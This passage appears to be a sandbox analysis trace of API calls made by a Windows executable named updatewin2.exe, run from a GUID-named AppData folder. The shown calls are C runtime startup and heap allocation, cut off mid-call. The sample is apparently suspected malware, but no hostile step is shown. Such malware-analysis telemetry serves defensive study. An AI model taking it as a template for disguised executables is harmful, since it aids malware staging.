lpUsedDefaultChar=0x0 | out: lpMultiByteStr="\x20\x01\x02\x03\x04\x05\x06\x07\x08\x09\x0a\x0b\x0c\x0d\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f\x20\x21\x22\x23\x24\x25\x26\x27\x28\x29\x2a\x2b\x2c\x2d\x2e\x2f\x30\x31\x32\x33\x34\x35\x36\x37\x38\x39\x3a\x3b\x3c\x3d\x3e\x3f\x40\x41\x42\x43\x44\x45\x46\x47\x48\x49\x4a\x4b\x4c\x4d\x4e\x4f\x50\x51\x52\x53\x54\x55\x56\x57\x58\x59\x5a\x5b\x5c\x5d\x5e\x5f\x60\x41\x42\x43\x44\x45\x46\x47\x48\x49\x4a\x4b\x4c\x4d\x4e\x4f\x50\x51\x52\x53\x54\x55\x56\x57\x58\x59\x5a\x7b\x7c\x7d\x7e\x7f\x80\x81\x82\x83\x84\x85\x86\x87\x88\x89\x8a\x8b\x8c\x8d\x8e\x8f\x90\x91\x92\x93\x94\x95\x96\x97\x98\x99\x8a\x9b\x8c\x9d\x8e\x9f\xa0\xa1\xa2\xa3\xa4\xa5\xa6\xa7\xa8\xa9\xaa\xab\xac\xad\xae\xaf\xb0\xb1\xb2\xb3\xb4\xb5\xb6\xb7\xb8\xb9\xba\xbb\xbc\xbd\xbe\xbf\xc0\xc1\xc2\xc3\xc4\xc5\xc6\xc7\xc8\xc9\xca\xcb\xcc\xcd\xce\xcf\xd0\xd1\xd2\xd3\xd4\xd5\xd6\xd7\xd8\xd9\xda\xdb\xdc\xdd\xde\xdf\xc0\xc1\xc2\xc3\xc4\xc5\xc6\xc7\xc8\xc9\xca\xcb\xcc\xcd\xce\xcf\xd0\xd1\xd2\xd3\xd4\xd5\xd6\xf7\xd8\xd9\xda\xdb\xdc\xdd\xde\x9f\x20\x01\x02\x03\x04\x05\x06\x07\x08\x09\x0a\x0b\x0c\x0d\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f\x20\x21\x22\x23\x24\x25\x26\x27\x28\x29\x2a\x2b\x2c\x2d\x2e\x2f\x30\x31\x32\x33\x34\x35\x36\x37\x38\x39\x3a\x3b\x3c\x3d\x3e\x3f\x40\x61\x62\x63\x64\x65\x66\x67\x68\x69\x6a\x6b\x6c\x6d\x6e\x6f\x70\x71\x72\x73\x74\x75\x76\x77\x78\x79\x7a\x5b\x5c\x5d\x5e\x5f\x60\x61\x62\x63\x64\x65\x66\x67\x68\x69\x6a\x6b\x6c\x6d\x6e\x6f\x70\x71\x72\x73\x74\x75\x76\x77\x78\x79\x7a\x7b\x7c\x7d\x7e\x7f\x80\x81\x82\x83\x84\x85\x86\x87\x88\x89\x9a\x8b\x9c\x8d\x9e\x8f\x90\x91\x92\x93\x94\x95\x96\x97\x98\x99\x9a\x9b\x9c\x9d\x9e\xff\xa0\xa1\xa2\xa3\xa4\xa5\xa6\xa7\xa8\xa9\xaa\xab\xac\xad\xae\xaf\xb0\xb1\xb2\xb3\xb4\xb5\xb6\xb7\xb8\xb9\xba\xbb\xbc\xbd\xbe\xbf\xe0\xe1\xe2\xe3\xe4\xe5\xe6\xe7\xe8\xe9\xea\xeb\xec\xed\xee\xef\xf0\xf1\xf2\xf3\xf4\xf5\xf6\xd7\xf8\xf9\xfa\xfb\xfc\xfd\xfe\xdf\xe0\xe1\xe2\xe3\xe4\xe5\xe6\xe7\xe8\xe9\xea\xeb\xec\xed\xee\xef\xf0\xf1\xf2\xf3\xf4\xf5\xf6\xf7\xf8\xf9\xfa\xfb\xfc\xfd\xfe\xff\x20\x01\x02\x03\x04\x05\x06\x07\x08\x09\x0a\x0b\x0c\x0d\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f\x20\x21\x22\x23\x24\x25\x26\x27\x28\x29\x2a\x2b\x2c\x2d\x2e\x2f\x30\x31\x32\x33\x34\x35\x36\x37\x38\x39\x3a\x3b\x3c\x3d\x3e\x3f\x40\x41\x42\x43\x44\x45\x46\x47\x48\x49\x4a\x4b\x4c\x4d\x4e\x4f\x50\x51\x52\x53\x54\x55\x56\x57\x58\x59\x5a\x5b\x5c\x5d\x5e\x5f\x60\x61\x62\x63\x64\x65\x66\x67\x68\x69\x6a\x6b\x6c\x6d\x6e\x6f\x70\x71\x72\x73\x74\x75\x76\x77\x78\x79\x7a\x7b\x7c\x7d\x7e\x7f\x80\x81\x82\x83\x84\x85\x86\x87\x88\x89\x8a\x8b\x8c\x8d\x8e\x8f\x90\x91\x92\x93\x94\x95\x96\x97\x98\x99\x9a\x9b\x9c\x9d\x9e\x9f\xa0\xa1\xa2\xa3\xa4\xa5\xa6\xa7\xa8\xa9\xaa\xab\xac\xad\xae\xaf\xb0\xb1\xb2\xb3\xb4\xb5\xb6\xb7\xb8\xb9\xba\xbb\xbc\xbd\xbe\xbf\xc0\xc1\xc2\xc3\xc4\xc5\xc6\xc7\xc8\xc9\xca\xcb\xcc\xcd\xce\xcf\xd0\xd1\xd2\xd3\xd4\xd5\xd6\xd7\xd8\xd9\xda\xdb\xdc\xdd\xde\xdf\xe0\xe1\xe2\xe3\xe4\xe5\xe6\xe7\xe8\xe9\xea\xeb\xec\xed\xee\xef\xf0\xf1\xf2\xf3\xf4\xf5\xf6\xf7\xf8\xf9\xfa\xfb\xfc\xfd\xfe\xff\x97\x31\x3d\xe2\x60\xf5\x18", lpUsedDefaultChar=0x0) returned 256 [0048.513] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x80) returned 0x5ea3e8 [0048.513] GetModuleFileNameW (in: hModule=0x0, lpFilename=0x417ca8, nSize=0x104 | out: lpFilename="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\d5bfbe52-943a-4f73-97b1-39918fa00598\\updatewin2.exe" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\d5bfbe52-943a-4f73-97b1-39918fa00598\\updatewin2.exe")) returned 0x5f [0048.513] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x8, Size=0xc8) returned 0x5ec478 [0048.513] RtlInitializeSListHead (in: ListHead=0x417bc8 | out: ListHead=0x417bc8) [0048.513] GetLastError () returned 0x0 [0048.513] SetLastError (dwErrCode=0x0) [0048.513] GetEnvironmentStringsW () returned 0x5ec548* [0048.514] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0xaca) returned 0x5ed020 [0048.514] FreeEnvironmentStringsW (penv=0x5ec548) returned 1 [0048.514] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x8, Size=0x98) returned 0x5ec548 [0048.514] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x8, Size=0x3e) returned 0x5edb10 [0048.514] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x8, Size=0x6c) returned 0x5ec5e8 [0048.514] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x8, Size=0x6e) returned 0x5ec660 [0048.514] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x8, Size=0x78) returned 0x5d1180 [0048.514] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x8, Size=0x62) returned 0x5ec6d8 [0048.514] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x8, Size=0x2e) returned 0x5d52d0 [0048.514] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x8, Size=0x48) returned 0x5ec748 [0048.514] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x8, Size=0x28) returned 0x5ea470 [0048.514] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x8, Size=0x1a) returned 0x5ec028 [0048.514] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x8, Size=0x4a) returned 0x5ec798 [0048.514] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x8, Size=0x72) returned 0x5d1200 [0048.514] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x8, Size=0x30) returned 0x5d5308 [0048.514] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x8, Size=0x2e) returned 0x5d5340 [0048.514] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x8, Size=0x1c) returned 0x5ec050 [0048.514] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x8, Size=0xd2) returned 0x5ec7f0 [0048.514] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x8, Size=0x7c) returned 0x5ec8d0 [0048.514] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x8, Size=0x36) returned 0x5ec958 [0048.514] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x8, Size=0x3a) returned 0x5edb58 [0048.514] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x8, Size=0x90) returned 0x5ec998 [0048.514] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x8, Size=0x24) returned 0x5eca30 [0048.514] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x8, Size=0x30) returned 0x5d5378 [0048.514] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x8, Size=0x36) returned 0x5eca60 [0048.514] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x8, Size=0x48) returned 0x5ecaa0 [0048.514] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x8, Size=0x52) returned 0x5ecaf0 [0048.514] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x8, Size=0x3c) returned 0x5edba0 [0048.514] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x8, Size=0x82) returned 0x5ecb50 [0048.514] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x8, Size=0x2e) returned 0x5d53b0 [0048.514] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x8, Size=0x1e) returned 0x5ec078 [0048.514] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x8, Size=0x2c) returned 0x5d53e8 [0048.514] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x8, Size=0x54) returned 0x5ecbe0 [0048.514] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x8, Size=0x52) returned 0x5ecc40 [0048.514] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x8, Size=0x2a) returned 0x5d5420 [0048.514] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x8, Size=0x3c) returned 0x5edbe8 [0048.514] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x8, Size=0x54) returned 0x5ecca0 [0048.514] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x8, Size=0x24) returned 0x5ecd00 [0048.514] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x8, Size=0x30) returned 0x5d5458 [0048.515] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x8, Size=0x8c) returned 0x5ecd30 [0048.515] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x5ed020 | out: hHeap=0x5c0000) returned 1 [0048.515] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x8, Size=0x800) returned 0x5ecdc8 [0048.515] IsProcessorFeaturePresent (ProcessorFeature=0xa) returned 1 [0048.515] SetUnhandledExceptionFilter (lpTopLevelExceptionFilter=0x402b17) returned 0x404e49 [0048.515] GetStartupInfoW (in: lpStartupInfo=0x18f590 | out: lpStartupInfo=0x18f590*(cb=0x44, lpReserved="", lpDesktop="WinSta0\\Default", lpTitle="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\d5bfbe52-943a-4f73-97b1-39918fa00598\\updatewin2.exe", dwX=0x0, dwY=0x0, dwXSize=0x0, dwYSize=0x0, dwXCountChars=0x0, dwYCountChars=0x0, dwFillAttribute=0x0, dwFlags=0x1, wShowWindow=0x1, cbReserved2=0x0, lpReserved2=0x0, hStdInput=0x0, hStdOutput=0x0, hStdError=0x0)) [0048.515] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x1423) returned 0x5eeaf8 [0048.515] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x1423) returned 0x5eff28 [0048.515] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x20) returned 0x5ec118 [0048.515] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x18) returned 0x5ed5d0 [0048.515] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x20) returned 0x5ec140 [0048.515] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x30) returned 0x5d5490 [0048.515] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x5ed5d0 | out: hHeap=0x5c0000) returned 1 [0048.515] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x20) returned 0x5ec168 [0048.515] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x48) returned 0x5ed5d0 [0048.515] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x5d5490 | out: hHeap=0x5c0000) returned 1 [0048.515] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x20) returned 0x5ec190 [0048.515] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x60) returned 0x5ed620 [0048.515] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x5ed5d0 | out: hHeap=0x5c0000) returned 1 [0048.515] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x90) returned 0x5ed688 [0048.515] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x5ed620 | out: hHeap=0x5c0000) returned 1 [0048.515] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x20) returned 0x5ec1b8 [0048.515] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0xd8) returned 0x5ed720 [0048.515] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x5ed688 | out: hHeap=0x5c0000) returned 1 [0048.515] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x20) returned 0x5ec1e0 [0048.515] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x20) returned 0x5ec208 [0048.515] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x138) returned 0x5ed5d0 [0048.515] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x5ed720 | out: hHeap=0x5c0000) returned 1 [0048.515] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x20) returned 0x5ec230 [0048.515] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x20) returned 0x5ec258 [0048.515] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x20) returned 0x5ec280 [0048.516] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x20) returned 0x5ec2a8 [0048.516] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x1c8) returned 0x5ed710 [0048.516] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x5ed5d0 | out: hHeap=0x5c0000) returned 1 [0048.516] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x20) returned 0x5ec2d0 [0048.516] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x20) returned 0x5ec2f8 [0048.516] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x20) returned 0x5ec320 [0048.516] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x20) returned 0x5ec348 [0048.516] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x2a0) returned 0x5f1358 [0048.516] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x5ed710 | out: hHeap=0x5c0000) returned 1 [0048.516] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x20) returned 0x5ec370 [0048.516] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x20) returned 0x5ec398 [0048.516] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x20) returned 0x5ec3c0 [0048.516] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x20) returned 0x5ec3e8 [0048.516] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x20) returned 0x5ec410 [0048.516] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x20) returned 0x5ec438 [0048.516] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x20) returned 0x5f1618 [0048.516] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x20) returned 0x5f1640 [0048.516] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x3f0) returned 0x5ed5d0 [0048.516] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x5f1358 | out: hHeap=0x5c0000) returned 1 [0048.516] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x20) returned 0x5f1668 [0048.516] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x20) returned 0x5f1690 [0048.516] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x20) returned 0x5f16b8 [0048.516] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x20) returned 0x5f16e0 [0048.516] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x20) returned 0x5f1708 [0048.516] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x20) returned 0x5f1730 [0048.516] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x20) returned 0x5f1758 [0048.516] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x20) returned 0x5f1780 [0048.516] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x20) returned 0x5f17a8 [0048.516] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x5e8) returned 0x5f1e00 [0048.516] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x5ed5d0 | out: hHeap=0x5c0000) returned 1 [0048.516] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x20) returned 0x5f17d0 [0048.516] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x20) returned 0x5f17f8 [0048.516] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x20) returned 0x5f1820 [0048.516] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x20) returned 0x5f1848 [0048.516] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x20) returned 0x5f1870 [0048.516] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x20) returned 0x5f1898 [0048.516] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x20) returned 0x5f18c0 [0048.516] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x20) returned 0x5f18e8 [0048.516] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x20) returned 0x5f1910 [0048.516] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x20) returned 0x5f1938 [0048.517] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x8d0) returned 0x5f23f0 [0048.517] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x5f1e00 | out: hHeap=0x5c0000) returned 1 [0048.517] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x20) returned 0x5f1960 [0048.517] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x20) returned 0x5f1988 [0048.517] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x20) returned 0x5f19b0 [0048.517] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x20) returned 0x5f19d8 [0048.517] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x20) returned 0x5f1a00 [0048.517] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x20) returned 0x5f1a28 [0048.517] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x20) returned 0x5f1a50 [0048.517] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x20) returned 0x5f1a78 [0048.517] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x20) returned 0x5f1aa0 [0048.517] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x20) returned 0x5f1ac8 [0048.517] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x20) returned 0x5f1af0 [0048.517] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x20) returned 0x5f1b18 [0048.517] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x20) returned 0x5f1b40 [0048.517] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x20) returned 0x5f1b68 [0048.517] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x20) returned 0x5f1b90 [0048.517] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x20) returned 0x5f1bb8 [0048.517] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0xd38) returned 0x5f2cc8 [0048.517] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x5f23f0 | out: hHeap=0x5c0000) returned 1 [0048.517] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x20) returned 0x5f1be0 [0048.517] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x20) returned 0x5f1c08 [0048.517] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x20) returned 0x5f1c30 [0048.517] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x20) returned 0x5f1c58 [0048.517] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x20) returned 0x5f1c80 [0048.517] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x20) returned 0x5f1ca8 [0048.517] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x20) returned 0x5f1cd0 [0048.517] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x20) returned 0x5f1cf8 [0048.517] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x20) returned 0x5f1d20 [0048.517] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x20) returned 0x5f1d48 [0048.517] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x20) returned 0x5f1d70 [0048.517] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x20) returned 0x5f1d98 [0048.517] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x20) returned 0x5f1dc0 [0048.517] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x20) returned 0x5f1e18 [0048.517] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x20) returned 0x5f1e40 [0048.517] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x20) returned 0x5f1e68 [0048.517] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x20) returned 0x5f1e90 [0048.518] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x20) returned 0x5f1eb8 [0048.518] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x20) returned 0x5f1ee0 [0048.518] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x20) returned 0x5f1f08 [0048.518] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x20) returned 0x5f1f30 [0048.518] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x20) returned 0x5f1f58 [0048.518] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x20) returned 0x5f1f80 [0048.518] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x20) returned 0x5f1fa8 [0048.518] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x20) returned 0x5f1fd0 [0048.518] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x20) returned 0x5f1ff8 [0048.518] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x20) returned 0x5f2020 [0048.518] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x20) returned 0x5f2048 [0048.518] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x13eb) returned 0x5f3a08 [0048.518] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x5f2cc8 | out: hHeap=0x5c0000) returned 1 [0048.518] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x20) returned 0x5f2070 [0048.518] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x20) returned 0x5f2098 [0048.518] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x20) returned 0x5f20c0 [0048.518] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x20) returned 0x5f20e8 [0048.518] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x30) returned 0x5d5490 [0048.518] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x20) returned 0x5f2110 [0048.518] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x20) returned 0x5f2138 [0048.518] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x20) returned 0x5f2160 [0048.518] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x20) returned 0x5f2188 [0048.518] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x20) returned 0x5f21b0 [0048.518] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x20) returned 0x5f21d8 [0048.518] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x20) returned 0x5f2200 [0048.518] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x20) returned 0x5f2228 [0048.518] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x20) returned 0x5f2250 [0048.518] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x20) returned 0x5f2278 [0048.518] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x20) returned 0x5f22a0 [0048.518] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x20) returned 0x5f22c8 [0048.518] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x20) returned 0x5f22f0 [0048.518] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x20) returned 0x5f2318 [0048.518] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x20) returned 0x5f2340 [0048.518] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x20) returned 0x5f2368 [0048.518] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x20) returned 0x5f2390 [0048.518] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x20) returned 0x5f23b8 [0048.519] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x20) returned 0x5f23e0 [0048.519] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x20) returned 0x5f2408 [0048.519] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x20) returned 0x5f2430 [0048.519] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x20) returned 0x5f2458 [0048.519] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x20) returned 0x5f2480 [0048.519] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x20) returned 0x5f24a8 [0048.519] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x20) returned 0x5f24d0 [0048.519] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x20) returned 0x5f24f8 [0048.519] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x20) returned 0x5f2520 [0048.519] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x20) returned 0x5f2548 [0048.519] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x20) returned 0x5f2570 [0048.519] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x20) returned 0x5f2598 [0048.519] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x20) returned 0x5f25c0 [0048.519] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x20) returned 0x5f2618 [0048.519] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x1dc3) returned 0x5f4e00 [0048.519] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x5f3a08 | out: hHeap=0x5c0000) returned 1 [0048.519] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, 